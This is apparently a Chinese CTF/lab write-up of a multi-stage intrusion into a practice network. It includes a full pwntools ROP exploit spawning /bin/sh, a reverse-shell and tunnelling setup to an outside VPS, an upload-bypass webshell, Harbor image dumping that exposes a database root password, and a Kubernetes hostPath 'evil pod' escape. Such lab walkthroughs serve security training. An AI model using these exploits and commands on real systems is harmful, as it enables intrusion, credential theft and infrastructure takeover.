靶标介绍

在这个靶场中,您将扮演一名渗透测试工程师,接受雇佣任务来评估“SmartLink Technologies Ltd.”公司的网络安全状况。 您的任务是首先入侵该公司暴露在公网上的应用服务,然后运用后渗透技巧深入 SmartLink公司的内部网络。在这个过程中,您将寻找潜在的弱点和漏洞,并逐一接管所有服务,从而控制整个内部网络。靶场中共设置了6个Flag,它们分布在不同的靶机上,您需要找到并获取这些 Flag 作为您的成就目标。

thinkphp 172.28.23.17

信息收集

首先使用 fscan 对目标进行信息收集,扫描端口信息如下:

通过 fscan 扫描发现 8080 端口是 thinkphp 框架,并且存在 5.0.23 版本的 RCE 漏洞。

其中 80 为静态的门户网站:

8080 端口为一个登录页面:

这里我们探测是否是 thinkphp 框架开发的系统,在URL 地址后面添加如下参数:

1
?s=1

可以看到成功报错,并回显出了相关版本信息。

漏洞利用

使用工具进行检测,发现存在 tp5 的 RCE。

尝试进行命令执行(虽说没有直接在工具回显,但是在工具的日志中也返回了相应的执行结果),确定漏洞存在。

使用进行 getshell。

使用中国蚁剑进行连接

在根目录下发现了第一个 FLAG。

获取交互式 shell

首先使用在线网站生成兼容性的反弹 shell 命令,接着在 vps 监听相应的端口,最后在中国蚁剑的虚拟终端上执行反弹 shell 命令。

获取交互式的 shell:

1
2
3
4
5
python3 -c "import pty;pty.spawn('/bin/bash')"
export TERM=xterm
CTRL + Z
stty raw -echo; fg
stty rows 38 columns 116

依次执行如上命令即可:

主机信息收集

查看当前网卡信息:

发现是单网卡,使用 fscan 对当前 C 段进行主机存货以及端口扫描

1
nohup ./fscan -h 172.28.23.0/24 &

当前网段存活三台主机,其中 172.28.23.33 的 8080 端口存在 actuator heapdump 文件泄露。

接下来进行代理隧道搭建。

隧道搭建

这里搭建隧道使用的 GitHub 开源项目为:Stowaway 。

首先在 vps 上启动启动 admin 端:

1
./linux_x64_admin -l 9999

接着将 agent 端上传至 /tmp目录下并启动连接到 admin 端。

连接 admin 端。

1
nohup ./linux_x64_agent -c 120.48.128.24:9999 &

接着回到 admin 端进行查看发现已经存在 node 节点。

进入到该节点并设置 socks5 代理端口。

第一层内网

智联ERP 172.28.23.33

设置代理

浏览器使用 socks5 代理

访问内网的 http://172.28.23.33:8080

信息收集

发现登录页面存在 “记住我”功能,尝试进行抓取登录的数据包,在 burp 中设置 sock5 代理,浏览器直接使用 burp 的代理即可。

响应包存在 rememberMe=deleteMe 字段,判断使用了 Shiro 框架。

Shiro 漏洞利用

结合前面 fscan 扫描的 actuator heapdump 文件进行利用,先从 heapdump 获取敏感信息如 数据库的连接密码、AK/SK 等。该文件主要是 Spring 项目中 application.yml 文件的相关配置以及其他堆内存信息。

将文件下载之后,使用 JDumpSpider 对文件进行解析

1
java -jar JDumpSpider-1.1-SNAPSHOT-full.jar ~/Downloads/heapdump > ~/Downloads/heapdump.txt

从中发现了 Shiro 的 Key 以及加密方式和模式。

由于该系统处于内网当中,因此需要先设置代理,然后输入相应的 URL 以及密钥 勾选 AES GCM。

获取到构造链之后,尝试执行命令:

执行成功,直接注入哥斯拉内存马。

这里可以看下注入内存马的数据包:

由于 Cookie 字段的长度有限制,故而这里通过 POST 请求发送了一部分 Payload(面试的时候可能会问哦~)。

连接内存马

由于该系统是不出网的,反弹 shell 到外网基本是不可能的,因此直接使用哥斯拉的 shell 了。

哥斯拉直接也是需要设置代理的,当然也可以使用 proxifier 统一设置,但是我不习惯。

执行 id 命令发现当前用户的 uid 是 1000,表示当前用户是运维手动创建的。

但是查看其登录 shell 发现是不可登录,不过在这里发现了该用户的家目录。

进入到家目录发现该目录下有一个 HashNote 的 Linux 可执行文件。

查看其端口开放情况,发现其开放一个高端口:

这里的话就是存在一个二进制服务,HashNote 是给的二进制文件, pwn✌️的专场了,这里我们直接去网上找 exp。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *
context.arch='amd64'

def add(key,data='b'):
p.sendlineafter(b'Option:',b'1')
p.sendlineafter(b'Key:',key)
p.sendlineafter(b'Data:',data)

def show(key):
p.sendlineafter(b'Option:',b'2')
p.sendlineafter(b"Key: ",key);

def edit(key,data):
p.sendlineafter(b'Option:',b'3')
p.sendlineafter(b'Key:',key)
p.sendlineafter(b'Data:',data)

def name(username):
p.sendlineafter(b'Option:',b'4')
p.sendlineafter(b'name:',username)


p = remote('172.28.23.33', 59696)
# p = process('./HashNote')


username=0x5dc980
stack=0x5e4fa8
ukey=b'\x30'*5+b'\x31'+b'\x44'

fake_chunk=flat({
0:username+0x10,
0x10:[username+0x20,len(ukey),\
ukey,0],
0x30:[stack,0x10]
},filler=b'\x00')

p.sendlineafter(b'name',fake_chunk)
p.sendlineafter(b'word','freep@ssw0rd:3')

add(b'\x30'*1+b'\x31'+b'\x44',b'test') # 126
add(b'\x30'*2+b'\x31'+b'\x44',b'test') # 127


show(ukey)
main_ret=u64(p.read(8))-0x1e0




rdi=0x0000000000405e7c # pop rdi ; ret
rsi=0x000000000040974f # pop rsi ; ret
rdx=0x000000000053514b # pop rdx ; pop rbx ; ret
rax=0x00000000004206ba # pop rax ; ret
syscall=0x00000000004560c6 # syscall

fake_chunk=flat({
0:username+0x20,
0x20:[username+0x30,len(ukey),\
ukey,0],
0x40:[main_ret,0x100,b'/bin/sh\x00']
},filler=b'\x00')

name(fake_chunk.ljust(0x80,b'\x00'))


payload=flat([
rdi,username+0x50,
rsi,0,
rdx,0,0,
rax,0x3b,
syscall
])

p.sendlineafter(b'Option:',b'3')
p.sendlineafter(b'Key:',ukey)
p.sendline(payload)
p.sendlineafter(b'Option:',b'9')
p.interactive()

刚刚发现开放了 22 端口,因此我们这里写入 SSH 公钥,将 id_rsa.pub 文件的内容写入到服务器的 /root/.ssh目录下,文件名称修改为 authorized_keys即可。

SSH 直接连接即可。

主机信息收集

查看该主机的网卡信息,发现存在两张网卡。后续可以对 172.22.10.0/24 段进行深入。

新翔OA 172.28.23.26

登录逻辑权限

前面信息收集发现第一层内网还存在着新翔 OA 的 web 服务,我们来看下当时的扫描结果。

80 端口存在 OA web 服务,21 端口存在 FTP 的匿名用户登录(用户 ftp 或 anonymous,密码随意输入)

在 FTP 服务中发现疑似 OA 系统的源码,在 FTP 连接中使用 get OASystem.zip 命令下载即可。

对登录页面进行简单的尝试之后无果,于是查看源码,这里的登录逻辑很随意,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
function islogin(){
if(isset($_COOKIE['id'])&&isset($_COOKIE['loginname'])&&isset($_COOKIE['jueseid'])&&isset($_COOKIE['danweiid'])&&isset($_COOKIE['quanxian'])){
if($_COOKIE['id']!=''&&$_COOKIE['loginname']!=''&&$_COOKIE['jueseid']!=''&&$_COOKIE['danweiid']!=''&&$_COOKIE['quanxian']!=''){
return true;
}
else {
return false;
}
}
else {
return false;
}
}
?>

构造 Cookie: id=1;loginname=1;jueseid=1;danweiid=1;quanxian=1 即可进入到首页,这里借助 CookieEdit 插件,通过 key=value 的形式直接导入即可。

文件上传 getshell

在源码中发现一个 uploadbase64.php文件,其代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
/**
* Description: PhpStorm.
* Author: yoby
* DateTime: 2018/12/4 18:01
* Email:logove@qq.com
* Copyright Yoby版权所有
*/
$img = $_POST['imgbase64'];
if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $img, $result)) {
$type = ".".$result[2];
$path = "upload/" . date("Y-m-d") . "-" . uniqid() . $type;
}
$img = base64_decode(str_replace($result[1], '', $img));
@file_put_contents($path, $img);
exit('{"src":"'.$path.'"}');

其实就是一个文件上传功能,对我们传入的 imgbase64 参数的值做了一些限制,限制很简单,如果不懂的话可以 AI 一下。

利用如下:

使用蚁剑进行连接(这里需要为蚁剑设置 socks5 代理)

打开虚拟终端执行命令的时候发现执行不了

执行 phpinfo 查看函数禁用,发现存在函数禁用

使用蚁剑的插件 disable_functions 绕过函数禁用成功执行命令

在根目录发现 flag 仅 root 用户可读

使用 find 命令检索存在 suid 的命令,发现 base32 存在 sudi 权限,使用高权限的命令读取 flag02.txt 的内容,然后对其进行解码得到 flag。

主机信息收集

查看该主机的网卡信息,发现存在两张网卡,后续可以对 172.22.14.0/16 段进行深入。

第二层内网

新翔OA 系统深入

获取交互式 shell

由于这里的终端是非交互式 shell 的,并且该机器不出网,故而我们在 172.28.23.17 上传一个 buysbox 工具,进行 nc 监听。

再次反弹 shell 获取一个可交互式的终端:

接着在该机器上(thinkphp)通过 busybox 执行 nc 命令监听 12345 端口,将 新翔 OA 的 shell 反弹到该机器。

在 oa 服务器上执行如下命令:

来到 thinkphp 服务器此时就已经获得到了 oa 的 shell,将其转为交互式 shell。

网段扫描

接着在 OA 的交互式 shell 先使用 gogo 扫描器进行 172.22.14.0/16 网段的存活扫描。

得到信息如下:

  • 172.22.14.46(80 harbor、22 ssh)
  • 172.22.14.37(22 ssh、2380 未知、10256 notFound、10250 k8s ,6443 k8s-api)

代理搭建

对新翔 OA 的另外一个网卡网段 172.22.14.0/16 进行信息收集,直接上传扫描工具 gogo、fscan 和 代理的 agent 端。

1
chmod +x fscan linux_x64_agent gogo

在我们的 vps 的 Stowaway 上执行 listen 接着输入 10001,此时就会在 thinkphp 服务器上开启 10001 端口,供内网的 agent 进行连接。

接着在 OA 服务器上执行 agent,连接 thinkphp 的 10001 端口。

1
nohup ./linux_x64_agent -c 172.28.23.17:10001 & 

此时 node 1 节点已上线

退出当前 node,进入到 node 1 节点,执行 socks 命令,搭建代理端口 6060。

使用内网 6060 代理,访问 thinkphp 服务器地址,发现可以访问。

Harbor 未授权 172.22.14.46

  • 172.22.14.46(80 harbor、22 ssh)

访问界面如下:

该版本的 Harbor 存在未授权搜索、使用 docker 镜像仓库的漏洞(CVE-2022-46463),直接使用脚本:

1
2
3
4
5
6
7
pq python3 harbor.py http://172.22.14.46 # pq 为proxychains4 -q的别名
[*] API version used v2.0
[+] project/projectadmin
[+] project/portal
[+] library/nginx
[+] library/redis
[+] harbor/secret

获取敏感镜像文件

1
pq python3 harbor.py http://172.22.14.46 --dump harbor/secret --v2 # pq 为proxychains4 -q的别名

w 接着我们将 project/projectadmin 下载下来,查看其数据库连接信息。

1
2
3
4
5
6
7
pq python3 harbor.py http://172.22.14.46 --dump project/projectadmin --v2
[+] Dumping : project/projectadmin:latest
[+] Downloading : 63e9bbe323274e77e58d77c6ab6802d247458f784222fbb07a2556d6ec74ee05
[+] Downloading : a1ae0db7d6c6f577c8208ce5b780ad362ef36e69d068616ce9188ac1cc2f80c6
[+] Downloading : 70437571d98143a3479eaf3cc5af696ea79710e815d16e561852cf7d429736bd
[+] Downloading : ae0fa683fb6d89fd06e238876769e2c7897d86d7546a4877a2a4d2929ed56f2c
[+] Downloading : 90d3d033513d61a56d1603c00d2c9d72a9fa8cfee799f3b1737376094b2f3d4c

进入到目录:

1
caches/project_projectadmin/latest/ae0fa683fb6d89fd06e238876769e2c7897d86d7546a4877a2a4d2929ed56f2c/app

对 jar 包进行反编译,得到数据库的连接配置信息。

1
2
3
4
5
6
7
spring.datasource.url=jdbc:mysql://172.22.10.28:3306/projectadmin?characterEncoding=utf-8&useUnicode=true&serverTimezone=UTC
spring.datasource.username=root
spring.datasource.password=My3q1i4oZkJm3
spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver

mybatis.type-aliases-package=com.smartlink.projectadmin.entity
mybatis.mapper-locations=classpath:mybatis/mapper/*.xml

k8s api 未授权 172.22.14.37

  • 172.22.14.37(22 ssh、2380 未知、10250 notFound、10250 k8s ,6443 k8s-api

访问 k8s 的 10250 端口,发现不满足条件,是有鉴权的。

关于 k8s 10250 端口未授权的打法可以参考:https://blog.csdn.net/ggqiuhui/article/details/145612643

但是其 6443 端口是没有鉴权的。

关于 k8s api Server 未授权的打法可以参考:https://cloud.tencent.com/developer/article/2415720

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
root@kali-server:~# kube-hunter --remote 172.22.14.37
2024-07-26 23:46:03,959 INFO kube_hunter.modules.report.collector Started hunting
2024-07-26 23:46:03,959 INFO kube_hunter.modules.report.collector Discovering Open Kubernetes Services
2024-07-26 23:46:06,394 INFO kube_hunter.modules.report.collector Found open service "Kubelet API" at 172.22.14.37:10250
2024-07-26 23:46:07,521 INFO kube_hunter.modules.report.collector Found open service "Etcd" at 172.22.14.37:2379
2024-07-26 23:46:09,736 INFO kube_hunter.modules.report.collector Found open service "API Server" at 172.22.14.37:6443
2024-07-26 23:46:10,759 INFO kube_hunter.modules.report.collector Found vulnerability "Unauthenticated access to API" in 172.22.14.37:6443
2024-07-26 23:46:10,770 INFO kube_hunter.modules.report.collector Found vulnerability "K8s Version Disclosure" in 172.22.14.37:6443
2024-07-26 23:46:11,811 INFO kube_hunter.modules.report.collector Found vulnerability "Listing namespaces as anonymous user" in 172.22.14.37:6443
2024-07-26 23:46:12,853 INFO kube_hunter.modules.report.collector Found vulnerability "Listing roles as anonymous user" in 172.22.14.37:6443
2024-07-26 23:46:14,013 INFO kube_hunter.modules.report.collector Found vulnerability "Listing cluster roles as anonymous user" in 172.22.14.37:6443
2024-07-26 23:46:15,127 INFO kube_hunter.modules.report.collector Found vulnerability "Listing pods as anonymous user" in 172.22.14.37:6443

Nodes
+-------------+--------------+
| TYPE | LOCATION |
+-------------+--------------+
| Node/Master | 172.22.14.37 |
+-------------+--------------+

Detected Services
+-------------+--------------------+----------------------+
| SERVICE | LOCATION | DESCRIPTION |
+-------------+--------------------+----------------------+
| Kubelet API | 172.22.14.37:10250 | The Kubelet is the |
| | | main component in |
| | | every Node, all pod |
| | | operations goes |
| | | through the kubelet |
+-------------+--------------------+----------------------+
| Etcd | 172.22.14.37:2379 | Etcd is a DB that |
| | | stores cluster's |
| | | data, it contains |
| | | configuration and |
| | | current |
| | | state |
| | | information, and |
| | | might contain |
| | | secrets |
+-------------+--------------------+----------------------+
| API Server | 172.22.14.37:6443 | The API server is in |
| | | charge of all |
| | | operations on the |
| | | cluster. |
+-------------+--------------------+----------------------+

Vulnerabilities
For further information about a vulnerability, search its ID in:
https://avd.aquasec.com/
+--------+-------------------+----------------------+----------------------+----------------------+----------------------+
| ID | LOCATION | MITRE CATEGORY | VULNERABILITY | DESCRIPTION | EVIDENCE |
+--------+-------------------+----------------------+----------------------+----------------------+----------------------+
| KHV005 | 172.22.14.37:6443 | Initial Access // | Unauthenticated | The API Server port | b'{"kind":"APIVersio |
| | | Exposed sensitive | access to API | is accessible. | ns","versions":["v1" |
| | | interfaces | | Depending on | ],"serverAddressByCl |
| | | | | your RBAC settings | ientCIDRs":[{"client |
| | | | | this could expose | CIDR":"0.0.0.0/0","s |
| | | | | access to or control | ... |
| | | | | of your cluster. | |
+--------+-------------------+----------------------+----------------------+----------------------+----------------------+
| KHV002 | 172.22.14.37:6443 | Initial Access // | K8s Version | The kubernetes | v1.16.6-beta.0 |
| | | Exposed sensitive | Disclosure | version could be | |
| | | interfaces | | obtained from the | |
| | | | | /version endpoint | |
+--------+-------------------+----------------------+----------------------+----------------------+----------------------+
| KHV007 | 172.22.14.37:6443 | Discovery // Access | Listing roles as | Accessing roles | ['kubeadm:bootstrap- |
| | | the K8S API Server | anonymous user | might give an | signer-clusterinfo', |
| | | | | attacker valuable | 'system:controller:b |
| | | | | information | ootstrap-signer', |
| | | | | | 'extension- |
| | | | | | apiserver-... |
+--------+-------------------+----------------------+----------------------+----------------------+----------------------+
| KHV007 | 172.22.14.37:6443 | Discovery // Access | Listing pods as | Accessing pods might | [{'name': b'nginx-de |
| | | the K8S API Server | anonymous user | give an attacker | ployment-58d48b746d- |
| | | | | valuable information | d6x8t', 'namespace': |
| | | | | | b'default'}, |
| | | | | | {'name': b'nginx- |
| | | | | | deploymen... |
+--------+-------------------+----------------------+----------------------+----------------------+----------------------+
| KHV007 | 172.22.14.37:6443 | Discovery // Access | Listing namespaces | Accessing namespaces | ['default', 'kube- |
| | | the K8S API Server | as anonymous user | might give an | node-lease', 'kube- |
| | | | | attacker valuable | public', 'kube- |
| | | | | information | system'] |
+--------+-------------------+----------------------+----------------------+----------------------+----------------------+
| KHV007 | 172.22.14.37:6443 | Discovery // Access | Listing cluster | Accessing cluster | ['admin', 'cluster- |
| | | the K8S API Server | roles as anonymous | roles might give an | admin', 'edit', |
| | | | user | attacker valuable | 'flannel', |
| | | | | information | 'system:aggregate- |
| | | | | | to-admin', |
| | | | | | 'system:aggregate- |
| | | | | | to-edit... |
+--------+-------------------+----------------------+----------------------+----------------------+----------------------+

以上是 h0ny 师傅扫描的结果,而我的结果是这样的:

K8s 集群由于鉴权配置不当,将「system:anonymous」用户绑定到「cluster-admin」用户组,使 6443 端口允许匿名用户以管理员权限向集群内部下发指令。

列出所有的 pod

1
kubectl --insecure-skip-tls-verify -s https://172.22.14.37:6443/ get pods -o wide

进入到指定的 pod

1
2
3
4
# kubectl 新版本命令
kubectl --insecure-skip-tls-verify -s https://172.22.14.37:6443/ --namespace=default exec -it nginx-deployment-58d48b746d-q4zh7 -- bash
# kubectl 旧版本命令
kubectl --insecure-skip-tls-verify -s https://172.22.14.37:6443/ --namespace=default exec -it nginx-deployment-58d48b746d-q4zh7 bash

v1.19 之前可以使用旧版本命令,即 bash 前面不用加 – ,之后就需要在其前面加 –。

创建恶意 pod

使用如下配置 evil_pod.yaml创建恶意 Pod,将宿主机的存储将文件或目录挂载到 K8s 集群的 Pod 中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
apiVersion: v1
kind: Pod
metadata:
name: evil-nginx
spec:
containers:
- name: evil-container
image: nginx:1.8
volumeMounts:
- mountPath: /mnt
name: evil-volume
volumes:
- name: evil-volume
hostPath:
# directory location on host
path: /
# this field is optional
type: Directory

通过配置文件,创建恶意的 pod:

1
kubectl --insecure-skip-tls-verify -s https://172.22.14.37:6443/ apply -f evil_pod.yaml

列出当前 pod:

1
kubectl --insecure-skip-tls-verify -s https://172.22.14.37:6443/ get pods -o wide

进入到恶意 pod 当中:

1
2
3
4
# kubectl 新版本命令
kubectl --insecure-skip-tls-verify -s https://172.22.14.37:6443/ --namespace=default exec -it evil-nginx -- bash
# kubectl 旧版本命令
kubectl --insecure-skip-tls-verify -s https://172.22.14.37:6443/ --namespace=default exec -it evil-nginx bash

由于 .bash_history文件被重定向为空,因此我们查看 mysql 的历史记录。

base64 解码之后得到 flag4。

智联 ERP 系统深入

接下来我们 ERP 系统的另外一个网段 172.22.10.0/24 进行深入。

获取交互式 shell

由于这里的终端是非交互式 shell 的,并且该机器不出网,但是该机器是与 OA 和 thinkphp 门户网站是相同的,将 shell 反弹到门户网站即可。

在 ERP 系统上执行命令:

即可获得一个 shell,将其转为交互式 shell。

网段扫描

使用哥斯拉的大文件上传功能,上传相关工具。

接着回到交互式 shell 使用 gogo 命令对网段进行扫描。

发现主机 172.22.10.28 开放了 3306 端口,同时通过在 harbor 下载的镜像 jar 包中找到其连接密码,尝试对其进行连接。

  • 172.22.10.28(3306 mysql,22 ssh,80 Dootask)

第三层内网

代理搭建

由于我们目前没办法直接通往 172.22.10.0/24 网段,但是 ERP 服务器可以,因为我们可以让 ERP 服务器作为 agent 端,而 ERP 可以与 thinkphp 或新翔 OA 互通,因此我们可以选用 thinkphp 门户网站 获 OA 作为 代理的内网 admin 端。

这里我还是选用 thinkphp 作为代理服务器的 admin 端。

ERP 服务器执行如下命令:

1
nohup ./linux_x64_agent -c 172.28.23.17:10002 &

此时 vps 上的 admin 端显示有 node2,进入到该节点,开启代理端口 7070。

该代理可以通往 ERP 的网卡网段:

  • 172.28.23.0/24
  • 172.22.10.0/24

使用测试,发现代理可用。

mysql UDF 172.22.10.28

这里其实有个 web 页面:

使用 proxychains 设置好代理之后连接到数据库,由于我们是 mysql 的 root 用户,并且 secure_file_priv 并没有对文件写入路径做限制,那么我们就可以尝试是否有权限对插件目录进行写入 .so文件。尝试继续 UDF 提权。

这里直接使用 MDUT 工具继续验证。